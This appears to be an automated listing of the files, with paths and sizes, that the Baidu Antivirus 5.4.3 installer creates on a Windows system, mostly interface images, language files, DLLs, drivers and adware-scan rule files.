%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavUi\skin.xml (88 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\combobox_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\feedback\skin\main-feedback_tittle.png (67 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\role_2.png (22 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Quarantine\res\skin\animate.png (768 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bavnt64.dll (32 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\investigate\skin\mainFrame_investigate_mini_layout2_slice.png (10 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\icon_tip.png (1 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Baidu Antivirus\Baidu Antivirus.lnk (697 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\investigate\skin\investigate_op_layout1_bg.png (44 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\skin\skin\button\orange_btn_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\scrollbar\scrollbar_thumb_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\investigate_black.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\sysbutton\TopBtnSet.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1212.freeven.rul (13 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\ieprotect\skin\setbtn_on_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\log\ReportCtrlCache.dat (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\6BA17A92-4345-49c0-A228-A57C2E779055\iconN.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavUpdater\skin\th_reboot_title.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavUi\skin.xml (64 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\bg\bg_warning.bmp (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\FileSplitUpLoad.dll (147 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavTray\skin.xml (84 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\skin\skin\button\red_btn_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\bg\listHeadLine.png (999 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\ieprotect\skin.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\EnumModules.exe (93 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\orange_btn_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\checkbox\checkbox_sound_uncheck_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\green_big_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavUi\skin\antivirus\guide_main_layout9_slice.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavTray\skin\black_pop_suessfully.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\midhf.dat (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavTray\skin.xml (89 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavUpdater\skin.xml (7 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\pll.dat (235 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\9FB78DD8-8083-4d5b-86FA-7C9AE2B224E0\icon3G.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\skin\skin\button\side_orange_arrow_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\investigate\skin\mainFrame_investigate_mini_layout1_slice.png (9 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\mainFrame_investigate_ask_channel_bg.png (27 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_hipsadp\skin\popup1.bg.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1139.RecipesBar.rul (21 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\DrvInst.dll (138 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\bg\anti_guide_bg.png (13 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\gray_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavTray\skin\dl_scanning.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_OA\res\skin\onaccess\close_over.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_hipsadp\skin\like_select.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavUi\skin\antivirus\ProcessRightmenuScan.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\ieprotect\skin\setbtn_on_normal.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\installSlice_27.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavUi\skin\antivirus\offBtnNormal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavUi\skin\antivirus\guide_welcome.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1185.InstantSavingsApp.rul (12 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavUi\skin\antivirus\guide_welcome.png (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\ieprotect\skin\safeicon.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\radiobox\radio_sel_disable.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin.xml (70 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Plugins\Pulgin_Dark_DeleteFileTip\Pulgin_Dark_DeleteFileTip.dll (214 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\ag.dat (28 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\feedback\skin.xml (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavUi\skin\antivirus\onBtnHover.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\HipsHp.dll (6301 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\scanicon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\scan_split_line.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\logosmall.png (17 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\speechrolechecked.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\button_min_over.png (191 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1183.SuperfishWindowShopper.rul (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\ieprotect\skin.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavUi\skin\antivirus\summary_top_safe_text.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\ieprotect\skin.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\investigate\skin\mainFrame_investigate_mini_layout3_slice.png (10 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavUi\skin\antivirus\offBtnHover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavWebClient.exe (3775 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\green_over.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\button\folderBtnHover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\HipsHB.dll (1758 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\fb_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavUi\skin\antivirus\ProcessCustomScan.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_OA\res\skin.xml (33 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\tree\virusRed.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavTray\skin\black_pop_detected.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavSvc.exe (15801 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\splitline.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\feedback\skin.xml (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\uTorrentControl.rul (17 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavRr.dll (143 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_OA\res\skin\onaccess\listHeadLine.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\sysbutton\TopBtnHover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavUi\skin\antivirus\guide_main_layout9_slice.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Quarantine\res\skin\tree_title_bk.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\investigate\skin\investigate_op_layout4_bg.png (19 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavTray\skin\black_pop_detected.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\ieprotect\skin\setbtn_on_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavTray\skin\dl_safe.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\icon_scan_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\sysbutton\TopBtnClose.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BsrScan\symsrv.yes (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\investigate\skin\investigate_op_layout2_bg.png (12 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\menu_icon_feedback.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\CrashUL.exe (1425 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1148.KeyBar1.8.rul (18 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1257.blockandsurf.rul (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavUi\skin\antivirus\offBtnHover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\stepbar\finished.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\icon_audio_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_open_unknown_file\skin\closeH.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\logo.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\ieprotect\skin\setbtn_off_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavTray\skin\dl_safe_s.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavUi\skin\antivirus\guide_welcome.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\button\white_deep_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\button\green_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\ieprotect\skin\setbtn_on_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1108.SmartSuggestor.rul (256 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\ieprotect\skin.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_OA\res\skin\onaccess\close_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\language.ini (66 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_open_unknown_file\skin\btnD.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavUi\skin\antivirus\onBtnHover.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\tree\down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavUi\skin\antivirus\GuideSlice_7_ScanNow.png (41 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\language.ini (72 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1256.flashenhancer.rul (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\RecallDown.exe (272 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\red_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\rect.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\title_virus_icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavTray\skin\dl_threat_s.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1164.RecordChecker.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Plugins\Plugin_USBProtect\Plugin_USBProtect.dll (1743 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\investigate\skin\investigate_op_layout4_bg.png (19 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1125.NCH_ENToolbar.rul (17 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\icon\TitleLogoInWhite.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavUi\skin\antivirus\ProcessFullScan.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavUpdater\skin.xml (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\gray_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\nosel_icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\tree\virus_trust_bg.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_OA\res\skin\bg\bg_warning.bmp (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavUpdater\skin.xml (7 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BsrScan\cl.dat (203 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\BavDd.dat (212 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_open_unknown_file\skin\itemfocus.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\CheckNetwork.exe (156 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavTray\skin\dl_safe.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\bg\anti_home_bg.png (1658 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1168.LessTabs.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\progressbar\Installing_bc.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\feedback\skin.xml (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\button\report_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\menu_icon_floathover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_OA\res\skin\progress\loading.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\skin\skin\bg\bg_installav.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\09F68E66-0B2F-47f7-83AF-77569A4A63C1\detailDef.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavUi\skin\antivirus\ProcessQuickScan.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavTray\skin\dl_safe_s.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavUi\skin\antivirus\ProcessQuickScan.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\big_green_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavOpenUnknownFile\skin.xml (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1129.HamInfoBar.rul (22 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\gray_over.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\context\context.ini (418 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_feedback\skin\closedown.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\tray_menu_line.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\ieprotect\skin\lockClosed.png (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BEVMApi001.dll (1675 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\res_reboot_icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavTray\skin\black_pop_excluded.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_hipsadp\skin\unlike.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\checkbox\checkbox_disable_unknown.png (14 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\tray_menu_about.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\feedback\skin\SUBMIT_bg2.png (66 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\DarkDumpReport.7z (5520 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\investigate_black2.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\InternetHelper.rul (18 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_open_unknown_file\skin.xml (13 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\investigate\skin\unloadInvestigateTitle_cry.png (27 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dump\CrashReportConfig.ini (948 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BsrScan\bsrbc64.sys (65 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_USBProtect\res\LockList\skin\scroll.bmp (36 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BsrScan\bsrbc.sys (54 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\ieprotect\skin\lockClosed.png (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\scrollbar\scroll.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavUi\skin\antivirus\summary_top_safe_text.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\tools\tools_cancel_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\bg\bg_green_small.bmp (114 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavUi\skin\antivirus\main_title_noprocess.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\arrow_btn_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\button\TrustBtnNormal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\menu_icon_setting.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavTray\skin.xml (86 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\bg\bg_scan_menu_sep.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavUi\skin\antivirus\free.png (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\nsSkinEngineW.dll (3677 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavUi\skin\antivirus\main_title_unprotected.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\red_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_OA\res\skin\progress\loading_bg.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavUi\skin\antivirus\summary_top_safe_text.png (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\investigate\skin\investigate_op_layout4_bg.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\bg\bg_blue2.bmp (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1053.SupremeSavings.rul (7 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\checkbox\checkbox_unsel_hot.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\bg\auto_bg_green.png (31 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bnbase.sys (52 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\CP.dll (3718 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BdCameraProtect.sys (21 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavUi\skin.xml (62 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\kp.dat (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavUi\skin\antivirus\main_title_safe.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\ieprotect\skin\setbtn_off_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\SecurityCode\skin.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\SecurityCode\skin.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\line3.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1218.ExcellentCoupons.rul (14 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavTray\skin\black_pop_excluded.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\setting_btn_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_hipsadp\skin\logo.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\baidu_engine_ico.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1142.KeyBar1.13.rul (20 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\feedback\skin\SUBMIT_bg2.png (67 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavTray\skin\dl_threat.png (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\customDown.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1249.searchsnacks.rul (1 bytes)
